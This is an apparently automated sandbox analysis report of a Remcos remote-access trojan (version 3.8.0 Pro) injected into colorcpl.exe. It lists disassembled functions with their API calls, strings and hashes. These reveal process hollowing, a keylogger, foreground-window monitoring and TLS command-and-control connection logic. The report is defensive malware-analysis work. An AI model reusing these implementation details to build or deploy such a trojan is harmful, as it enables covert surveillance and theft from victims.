Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 417a71fa0a5cf22442fda67ae5b35424539a56c96b83d9d22b2fc8c3941ec2e7
Instruction ID: 8cd506476fc6c8599c66cc30645379c3842ab3d439201a470152ca1b9481b19d
Opcode Fuzzy Hash: 417a71fa0a5cf22442fda67ae5b35424539a56c96b83d9d22b2fc8c3941ec2e7
Instruction Fuzzy Hash: 3301627690121CAFDF04EBD4DC44EDEB7BCAF44314F000166E505BA154EEB46A89DB94

Function 0309E2BB Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,030A3F34,03101E78,03102910,03101E78,00000000,03101E78,00000000,03101E78,3.8.0 Pro), ref: 0309E2CF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 246163e167ddd273ff7c0b3eaba2358d04f3f45c7e97148971392ecf78fb5710
Instruction ID: 9c09c3a834eb762114374a850475409b11aeeb37f87f6ba67aece1c0d7680944
Opcode Fuzzy Hash: 246163e167ddd273ff7c0b3eaba2358d04f3f45c7e97148971392ecf78fb5710
Instruction Fuzzy Hash: 31D05B3074521C77E910D6859C0AEAB779CD741A62F000156B904D7280D9E16E0487D1

Function 030AA8DA Relevance: 105.1, APIs: 36, Strings: 24, Instructions: 130
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExA,?,?,?,?,0309D40C), ref: 030AA8EF
GetProcAddress.KERNEL32(00000000), ref: 030AA8F8
GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExA,?,?,?,?,0309D40C), ref: 030AA90F
GetProcAddress.KERNEL32(00000000), ref: 030AA912
LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExW,?,?,?,?,0309D40C), ref: 030AA924
GetProcAddress.KERNEL32(00000000), ref: 030AA927
GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExW,?,?,?,?,0309D40C), ref: 030AA93D
GetProcAddress.KERNEL32(00000000), ref: 030AA940
GetModuleHandleA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0309D40C), ref: 030AA951
GetProcAddress.KERNEL32(00000000), ref: 030AA954
GetModuleHandleA.KERNEL32(user32,SetProcessDpiAware,?,?,?,?,0309D40C), ref: 030AA969
GetProcAddress.KERNEL32(00000000), ref: 030AA96C
LoadLibraryA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,?,?,?,0309D40C), ref: 030AA97D
GetProcAddress.KERNEL32(00000000), ref: 030AA980
LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,?,?,?,?,0309D40C), ref: 030AA98C
GetProcAddress.KERNEL32(00000000), ref: 030AA98F
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0309D40C), ref: 030AA9A1
GetProcAddress.KERNEL32(00000000), ref: 030AA9A4
GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0309D40C), ref: 030AA9B1
GetProcAddress.KERNEL32(00000000), ref: 030AA9B4
LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0309D40C), ref: 030AA9C5
GetProcAddress.KERNEL32(00000000), ref: 030AA9C8
GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0309D40C), ref: 030AA9D5
GetProcAddress.KERNEL32(00000000), ref: 030AA9D8
GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0309D40C), ref: 030AA9EA
GetProcAddress.KERNEL32(00000000), ref: 030AA9ED
GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0309D40C), ref: 030AA9FA
GetProcAddress.KERNEL32(00000000), ref: 030AA9FD
GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0309D40C), ref: 030AAA0A
GetProcAddress.KERNEL32(00000000), ref: 030AAA0D
GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemTimes,?,?,?,?,0309D40C), ref: 030AAA1F
GetProcAddress.KERNEL32(00000000), ref: 030AAA22
LoadLibraryA.KERNEL32(Shlwapi.dll,0000000C,?,?,?,?,0309D40C), ref: 030AAA30
GetProcAddress.KERNEL32(00000000), ref: 030AAA33
LoadLibraryA.KERNEL32(kernel32.dll,GetConsoleWindow,?,?,?,?,0309D40C), ref: 030AAA40
GetProcAddress.KERNEL32(00000000), ref: 030AAA43

Strings

SetProcessDpiAware, xrefs: 030AA95F
GetSystemTimes, xrefs: 030AAA0F
kernel32.dll, xrefs: 030AA987, 030AAA14, 030AAA1E, 030AAA3A
SetProcessDpiAwareness, xrefs: 030AA947
Kernel32.dll, xrefs: 030AA90A, 030AA938
GlobalMemoryStatusEx, xrefs: 030AA982
NtUnmapViewOfSection, xrefs: 030AA973
Shell32, xrefs: 030AA9BB
GetConsoleWindow, xrefs: 030AAA35
IsUserAnAdmin, xrefs: 030AA9B6
ntdll.dll, xrefs: 030AA978
GetModuleFileNameExW, xrefs: 030AA919, 030AA91E, 030AA937
shcore, xrefs: 030AA94C
GetModuleFileNameExA, xrefs: 030AA8E4, 030AA8E9, 030AA909
user32, xrefs: 030AA964, 030AA9DF, 030AA9E9, 030AA9F4, 030AAA04
Psapi.dll, xrefs: 030AA8EA, 030AA91F
GetComputerNameExW, xrefs: 030AA9A6
SetProcessDEPPolicy, xrefs: 030AA9CA
EnumDisplayDevicesW, xrefs: 030AA9DA
Shlwapi.dll, xrefs: 030AAA26
IsWow64Process, xrefs: 030AA991
EnumDisplayMonitors, xrefs: 030AA9EF
GetMonitorInfoW, xrefs: 030AA9FF
kernel32, xrefs: 030AA996, 030AA9A0, 030AA9AB, 030AA9CF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule$LibraryLoad
String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetModuleFileNameExA$GetModuleFileNameExW$GetMonitorInfoW$GetSystemTimes$GlobalMemoryStatusEx$IsUserAnAdmin$IsWow64Process$Kernel32.dll$NtUnmapViewOfSection$Psapi.dll$SetProcessDEPPolicy$SetProcessDpiAware$SetProcessDpiAwareness$Shell32$Shlwapi.dll$kernel32$kernel32.dll$ntdll.dll$shcore$user32
API String ID: 551388010-2474455403
Opcode ID: e3174a583557d468c83809b0d1c9f21601f2922ca19cffd8ab8dc9be103356be
Instruction ID: 9a9a3041befd50dd566d890101008ba14bcaadac710c3813bdb50a99f5716c69
Opcode Fuzzy Hash: e3174a583557d468c83809b0d1c9f21601f2922ca19cffd8ab8dc9be103356be
Instruction Fuzzy Hash: 45317564E4639CBECA14FBBA6C49E1F3E9CE9487587420526F214E7906DBBC9440CE74

Function 0309D3F0 Relevance: 51.5, APIs: 17, Strings: 12, Instructions: 774
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030AA8DA: LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExA,?,?,?,?,0309D40C), ref: 030AA8EF
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA8F8
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExA,?,?,?,?,0309D40C), ref: 030AA90F
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA912
Part of subcall function 030AA8DA: LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExW,?,?,?,?,0309D40C), ref: 030AA924
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA927
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExW,?,?,?,?,0309D40C), ref: 030AA93D
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA940
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0309D40C), ref: 030AA951
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA954
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(user32,SetProcessDpiAware,?,?,?,?,0309D40C), ref: 030AA969
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA96C
Part of subcall function 030AA8DA: LoadLibraryA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,?,?,?,0309D40C), ref: 030AA97D
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA980
Part of subcall function 030AA8DA: LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,?,?,?,?,0309D40C), ref: 030AA98C
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA98F
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0309D40C), ref: 030AA9A1
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA9A4
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0309D40C), ref: 030AA9B1
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA9B4
Part of subcall function 030AA8DA: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0309D40C), ref: 030AA9C5
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA9C8
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0309D40C), ref: 030AA9D5
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA9D8
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0309D40C), ref: 030AA9EA
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA9ED
Part of subcall function 030AA8DA: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0309D40C), ref: 030AA9FA
Part of subcall function 030AA8DA: GetProcAddress.KERNEL32(00000000), ref: 030AA9FD

OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 0309D603

Part of subcall function 0309F98D: __EH_prolog.LIBCMT ref: 0309F992

Strings

Inj, xrefs: 0309D626, 0309D62C, 0309D641
Access Level: , xrefs: 0309DD3D
User, xrefs: 0309DD2C
Software\, xrefs: 0309D4E6
Exe, xrefs: 0309D534
licence, xrefs: 0309DA22
origmsc, xrefs: 0309D6F7
C:\Windows\SysWOW64\colorcpl.exe, xrefs: 0309D68F, 0309D8A7
exepath, xrefs: 0309D931, 0309D9DB
Administrator, xrefs: 0309DD08
license_code.txt, xrefs: 0309D465
Remcos Agent initialized, xrefs: 0309DA83

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule$LibraryLoad$H_prologMutexOpen
String ID: Access Level: $Administrator$C:\Windows\SysWOW64\colorcpl.exe$Exe$Inj$Remcos Agent initialized$Software\$User$exepath$licence$license_code.txt$origmsc
API String ID: 1529173511-3534803471
Opcode ID: 14b564ff7802cb71a5247a92fdf9e9ab3caa68eb149388c678dee0b186a63afd
Instruction ID: 4f5fe13ae9a1249a1bcbb6e76f7a4f736189618b494651a249a41d8c0b88c54e
Opcode Fuzzy Hash: 14b564ff7802cb71a5247a92fdf9e9ab3caa68eb149388c678dee0b186a63afd
Instruction Fuzzy Hash: 0122F478B4734A2FFE19F7B49C25BBE26998FC5600F04086FA5429F2D2DF688D05A351

Function 030A3980 Relevance: 32.3, APIs: 5, Strings: 13, Instructions: 785
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000029,771B0F10,03101FFC,00000000), ref: 030A39D1
WSAGetLastError.WS2_32(00000000,00000001), ref: 030A3BE2
Sleep.KERNEL32(00000000,00000002), ref: 030A44C7

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

Strings

Connection Error: , xrefs: 030A3BF5
%I64u, xrefs: 030A3D4C
TLS Off, xrefs: 030A3B3B
hlight, xrefs: 030A3DE9
TLS On , xrefs: 030A3B49
Connection Error: Unable to create socket, xrefs: 030A3C40
Connected | , xrefs: 030A3CA4
name, xrefs: 030A3DBC
Disconnected, xrefs: 030A4437
| , xrefs: 030A3B68, 030A3CA9
Connecting | , xrefs: 030A3B5E
C:\Windows\SysWOW64\colorcpl.exe, xrefs: 030A3E16
3.8.0 Pro, xrefs: 030A3F03

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Sleep$ErrorLastLocalTime
String ID: | $%I64u$3.8.0 Pro$C:\Windows\SysWOW64\colorcpl.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$TLS Off$TLS On $hlight$name
API String ID: 524882891-3810641973
Opcode ID: 6618f5efe88a992265a8fd181ff2b95a5949099d7cf0ae9ae8d37277f76a2f87
Instruction ID: 0be0ac8d0d7b3b3403dc7d18b9da10d9acb617a8270a8113dcebbc31e801dc4b
Opcode Fuzzy Hash: 6618f5efe88a992265a8fd181ff2b95a5949099d7cf0ae9ae8d37277f76a2f87
Instruction Fuzzy Hash: 3142AF39B462195FEF18F7A4ECA1AEEB3699FD4200F1045AAD00A6F1D1EF305F46DA50

Function 03099C1F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_footer.LIBCMT ref: 03099C81
Sleep.KERNEL32(000001F4), ref: 03099C8C
GetForegroundWindow.USER32 ref: 03099C92
GetWindowTextLengthW.USER32(00000000), ref: 03099C9B
GetWindowTextW.USER32(00000000,00000000,00000000), ref: 03099CCF
Sleep.KERNEL32(000003E8), ref: 03099D9D

Part of subcall function 0309962E: SetEvent.KERNEL32(?,?,?,0309A77B,?,?,?,?,?,00000000), ref: 0309965A

Strings

[, xrefs: 03099D37
minutes }, xrefs: 03099DC3
], xrefs: 03099D31
{ User has been idle for , xrefs: 03099DCF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Window$SleepText$EventForegroundInit_thread_footerLength
String ID: [${ User has been idle for $ minutes }$]
API String ID: 911427763-3954389425
Opcode ID: b74aa470fdac89ef759234107034f577691677e42b559bf269c1324599ae7310
Instruction ID: 677f9a5fdc0c0ef02467eff8fa2babcb716ded19f35d83000193b7e55d71a510
Opcode Fuzzy Hash: b74aa470fdac89ef759234107034f577691677e42b559bf269c1324599ae7310
Instruction Fuzzy Hash: 8951017930A3449FEB08FB74D894AAEB7E9ABD4204F04095FF0868E1D0EF749945D792

Function 0309C5ED Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 0309C753

Strings

WinDir, xrefs: 0309C654, 0309C676, 0309C6C8
ProgramFiles, xrefs: 0309C727
Temp, xrefs: 0309C61F
\system32, xrefs: 0309C667
\SysWOW64, xrefs: 0309C6B9
ProgramData, xrefs: 0309C718
UserProfile, xrefs: 0309C711
SystemDrive, xrefs: 0309C64A
AppData, xrefs: 0309C70A

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
API String ID: 82841172-425784914
Opcode ID: fcd7368b2715fd605e6f6da12417ca100786f20fc913b264ad0aa8c28be56afb
Instruction ID: 6b91b4e5c33f2c7ce38fceb67fafed536155c62ca1b5b464be6c800bb93bc3a8
Opcode Fuzzy Hash: fcd7368b2715fd605e6f6da12417ca100786f20fc913b264ad0aa8c28be56afb
Instruction Fuzzy Hash: 9541B67960A3019FFA08F765DC51DFFF3E8AEE0610F00092FF1525A0A1EF60990AE652

Function 030A44DA Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 510
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEvent.KERNEL32(?,?), ref: 030A44FC
GetTickCount.KERNEL32 ref: 030A457C

Strings

hlight, xrefs: 030A5471

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CountEventTick
String ID: hlight
API String ID: 180926312-4166879102
Opcode ID: 96b7afdfde288059f2e07b183141f8c305d5d32ae0aac0850b4f6a50efd862b8
Instruction ID: db143b7b5827595d2e49683167a2df5775a2f6239a23029e2e507802b19fa37b
Opcode Fuzzy Hash: 96b7afdfde288059f2e07b183141f8c305d5d32ae0aac0850b4f6a50efd862b8
Instruction Fuzzy Hash: 9FF1A3397463055BEE18FBB4EC65BEE73A9AFD1200F40092EA1865F1D1EF349908D752

Function 030948A8 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,030A5824,?,00000001,00000000,00000000), ref: 030949E0

Strings

TLS Error 2, xrefs: 03094935
TLS Handshake... | , xrefs: 030948E4
TLS Authentication Failed, xrefs: 03094979
TLS Error 3, xrefs: 030949B8
Connection Refused, xrefs: 03094A56
Connection Failed: , xrefs: 03094A23
TLS Error 1, xrefs: 03094917

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateEventLocalTime
String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
API String ID: 2082726707-2151626615
Opcode ID: 98b22fac8178d5d9c6cdcf450a11e25abd94de3953f3348f7e560109fc1c3074
Instruction ID: 2a31c63866fb60a0b1e37bbb8dad77ce42a581b352ef746504087f1005452b39
Opcode Fuzzy Hash: 98b22fac8178d5d9c6cdcf450a11e25abd94de3953f3348f7e560109fc1c3074
Instruction Fuzzy Hash: EC41052DB537057FFE04F7BE9C168ADBA5EABC1100B40091AD8114FE42EB11A925D7D3

Function 030A92AE Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A9F23: GetCurrentProcess.KERNEL32(?,?,?,0309C663,WinDir,00000000,00000000), ref: 030A9F34

Part of subcall function 030A1F91: RegOpenKeyExA.KERNEL32(80000002,00000400,00000000,00020019,00000000,00000000,00000000), ref: 030A1FB5
Part of subcall function 030A1F91: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000400), ref: 030A1FD2
Part of subcall function 030A1F91: RegCloseKey.KERNEL32(00000000), ref: 030A1FDD

StrToIntA.SHLWAPI(00000000,030F9710,00000000,00000000,00000000,03101FFC,00000001,?,?,?,?,?,?,0309D6A0), ref: 030A9327

Strings

ProductName, xrefs: 030A92BD
CurrentBuildNumber, xrefs: 030A9308
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 030A92C2, 030A92CC, 030A930D
(32 bit), xrefs: 030A935A
(64 bit), xrefs: 030A9353

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCurrentOpenProcessQueryValue
String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 1866151309-2070987746
Opcode ID: 63fb43d695818731d65e812b02d3ac763ecf6d68d6fae333ca21c9017400b777
Instruction ID: ec0f034a220e07b8ad4f92389888040a959ca52e3a3f392557a612ec852db02a
Opcode Fuzzy Hash: 63fb43d695818731d65e812b02d3ac763ecf6d68d6fae333ca21c9017400b777
Instruction Fuzzy Hash: D8115C75B433492EDB04F7A8EC55BFFB75997C4110F440525E5055F1C2FB640842C3A1

Function 0309971E Relevance: 9.2, APIs: 6, Instructions: 163
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 03099738

Part of subcall function 0309966D: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,03099745), ref: 030996A3
Part of subcall function 0309966D: GetFileSize.KERNEL32(00000000,00000000,?,?,?,03099745), ref: 030996B2
Part of subcall function 0309966D: Sleep.KERNEL32(00002710,?,?,?,03099745), ref: 030996DF
Part of subcall function 0309966D: CloseHandle.KERNEL32(00000000,?,?,?,03099745), ref: 030996E6

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 03099774
GetFileAttributesW.KERNEL32(00000000), ref: 03099785
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0309979C
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 03099816

Part of subcall function 030AA20F: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,00000000,030A5A44), ref: 030AA228

SetFileAttributesW.KERNEL32(00000000,00000006,00000013,030F9654,?,00000000,00000000,00000000,00000000,00000000), ref: 0309991F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
String ID:
API String ID: 3795512280-0
Opcode ID: 99c599a373b131ca9c91ff1d14a5d2800373b2761eecdbf61c5703e2965442e7
Instruction ID: 63266603f5a3c90388111af94dc8cb242f0ac0e2f0ff8c145364050d64070c3b
Opcode Fuzzy Hash: 99c599a373b131ca9c91ff1d14a5d2800373b2761eecdbf61c5703e2965442e7
Instruction Fuzzy Hash: B1517B393063095BEF19FBB0D864AFF739AAFC4200F04092FA5479E2D1DF259909A652

Function 030AA17B Relevance: 7.6, APIs: 5, Instructions: 67
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,?,00000000,030AA29A,00000000,00000000,00000000), ref: 030AA1BA
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,00000000,030AA29A,00000000,00000000,00000000,00000000,030A533F,00000002,00000001), ref: 030AA1D7
CloseHandle.KERNEL32(00000000,?,?,00000000,030AA29A,00000000,00000000,00000000,00000000,030A533F,00000002,00000001), ref: 030AA1E3
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,030AA29A,00000000,00000000,00000000,00000000,030A533F,00000002,00000001), ref: 030AA1F4
CloseHandle.KERNEL32(00000000,?,?,00000000,030AA29A,00000000,00000000,00000000,00000000,030A533F,00000002,00000001), ref: 030AA201

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreatePointerWrite
String ID:
API String ID: 1852769593-0
Opcode ID: 375f6a0bc922f37342eb36d5f126688a623015b170b45fe364aa257129f1da33
Instruction ID: 6f296831fa6b6e580b01b3436a711931cbb0e554f13c4608a2c30e67b45efa45
Opcode Fuzzy Hash: 375f6a0bc922f37342eb36d5f126688a623015b170b45fe364aa257129f1da33
Instruction Fuzzy Hash: 3B11A171347A187FE6509AACBC88E7FB79CEB46674F040A29F562C61C0C66A8C05C631

Function 03099203 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,03099305,?,00000000,00000000), ref: 0309928B
CreateThread.KERNEL32(00000000,00000000,Function_000092EF,?,00000000,00000000), ref: 0309929B
CreateThread.KERNEL32(00000000,00000000,Function_00009311,?,00000000,00000000), ref: 030992A7

Part of subcall function 0309A0B0: GetLocalTime.KERNEL32(?,?,00000000), ref: 0309A0BE
Part of subcall function 0309A0B0: wsprintfW.USER32 ref: 0309A13F

Strings

Offline Keylogger Started, xrefs: 03099228, 0309922F, 0309925C

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTimewsprintf
String ID: Offline Keylogger Started
API String ID: 465354869-4114347211
Opcode ID: d752dac0f600cec12fb8b929636d4217dcdd91a72d0cbd4f4baaa6f86e0d86a2
Instruction ID: 27717d81ba70f6d28beac3dc86b123a228504bdf599397d0bd59018ab66e6f2d
Opcode Fuzzy Hash: d752dac0f600cec12fb8b929636d4217dcdd91a72d0cbd4f4baaa6f86e0d86a2
Instruction Fuzzy Hash: 1C11E3A920230C3EFA10FA69DC86CFF7A9CDAC1198B40055EF8450A182DA606E09D6F2

Function 030A215F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,030F30C0), ref: 030A216E
RegSetValueExA.KERNEL32(030F30C0,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,030AA83B,WallpaperStyle,030F30C0), ref: 030A2196
RegCloseKey.KERNEL32(030F30C0,?,?,030AA83B,WallpaperStyle,030F30C0), ref: 030A21A1

Strings

Control Panel\Desktop, xrefs: 030A2168, 030A2178

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Control Panel\Desktop
API String ID: 1818849710-27424756
Opcode ID: f381acc57b18326798f2834ebe4b01d6af47cbd4c864df868b39ddfebfc84843
Instruction ID: ce4352e18b20d711ebc3dae828c8f55da89684883a0a870c88604412d10cb2bd
Opcode Fuzzy Hash: f381acc57b18326798f2834ebe4b01d6af47cbd4c864df868b39ddfebfc84843
